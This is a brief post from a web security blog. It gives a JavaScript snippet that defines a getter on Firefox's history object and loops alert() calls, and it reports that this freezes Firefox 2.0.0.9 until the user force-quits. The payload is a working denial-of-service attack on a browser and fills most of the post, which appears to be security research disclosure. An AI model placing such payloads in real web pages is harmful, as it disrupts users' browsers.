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    The Spanner
    Web security blog

    Made by Gareth Heyes
    Follow me on Twitter: @garethheyes

    Javascript for hackers!

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    Firefox history DOS attack

    By Gareth Heyes (@hackvertor)

    Published 18 years 6 months ago • Last updated March 22, 2025 • ⏱️ < 1 min read

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    Here's a complete DOS attack on Firefox using the history object:-

    <pre lang="javascript"> window.onload = function() { history.__defineGetter__("x", function() { for(i in this) { try { alert(this[i]); } catch(e) { } } }); history.x; } </pre>

    Tested on Firefox 2.0.0.9 mac, a window pops up with two blank buttons and you are unable to do anything without using force quit.

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